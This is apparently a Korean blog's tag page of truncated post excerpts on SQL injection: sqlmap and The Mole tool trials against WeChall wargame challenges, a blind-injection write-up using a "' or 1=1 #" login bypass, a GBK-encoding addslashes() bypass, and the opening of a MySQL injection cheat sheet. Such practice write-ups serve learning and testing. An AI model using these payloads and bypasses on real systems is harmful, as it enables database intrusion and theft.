[태그:] SQL Injection

sqlmap – automatic SQL injection and database takeover tool

sqlmap 이란 툴이 트위터랑 페이스북에서 계속 언급되어 어떤것인가 하고 찾아서 사용해 봤습니다. 이것도 굉장한 자동화 도구네요. 아래는 간단하게 테스트 한 내용 입니다. sqlmap : http://sqlmap.sourceforge.net/ 메뉴얼 : http://sqlmap.sourceforge.net/doc/README.html GUI for sqlmap (Linux) : http://code.google.com/p/gui-for-sqlmap/ GUI for sqlmap (Windows) : http://sourceforge.net/projects/sqlmapwin/ 1. Database명 알아내기 [byjjoon@localhost sqlmap]$ ./sqlmap.py -u "http://www.wechall.net/challenge/table_names/challenge.php?username=test&password=test&login=login" –dbs sqlmap/0.9 – automatic SQL injection and …

The Mole

SQL Injection 관련 툴이 있어 간단한 사용기를 작성합니다. The Mole (Digging up your data) : http://themole.nasel.com.ar/ 문제는 WeChall의 Table 이름을 찾는 문제를 대상으로 해당 툴을 이용해 풀이를 해보도록 하겠습니다. 실행 후 Tab 키를 누르면 여러 옵션을 설정할 수 있음을 알 수 있습니다. 옵션이 다양해서 아주 범용적으로 사용할 수 있을거 같네요. C:\Users\ByJJoon\Downloads\themole-0.2.6>mole.exe _____ _ ___ ___ …

Table Names

이번 문제는 Blind SQL Injection 문제이다. 로그인 시 ID 입력 폼에 "test’ or 1=1 #" 라고 입력하면 로그인이 정상적으로 됨을 알 수 있다. 즉, SQL Injection이 가능한 것이다. 따라서 이를 이용해 INFORMATION_SCHEMA.TABLES 테이블의 TABLE_SCHEMA 및 TABLE_NAME 칼럼을 통해 데이터베이스명과 테이블명을 확인할 수 있다. 단, 이름 확인 시 약간의 팁이 필요한데 쿼리 전송 시 올바른 응답이면 …

Addslashes

싱글쿼터 입력 시 addslashes() 함수로 필터할 경우 앞에 \ 문자가 와서 SQL Injection이 예방이 된다. 이번 문제는 이러한 경우 어떻게 우회를 할 수 있는지를 묻는 문제이다. 이번 문제의 풀이 방법은 GBK 인코딩을 이용한 addslashes() 우회기법을 이용하는 것인데 %BF 이후에 싱글쿼터를 입력하게 되면 addslashes() 함수에 의한 필터링을 우회할 수 있다. 따라서 아래와 같이 username 변수에 "test%BF%27 …

MySQL Injection Cheat Sheet

MySQL Injection Cheat Sheet 1. Basics. SELECT * FROM login /* foobar */ SELECT * FROM login WHERE id = 1 or 1=1 SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%" 2. Variations. SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 SELECT * FROM login WHE/**/RE id …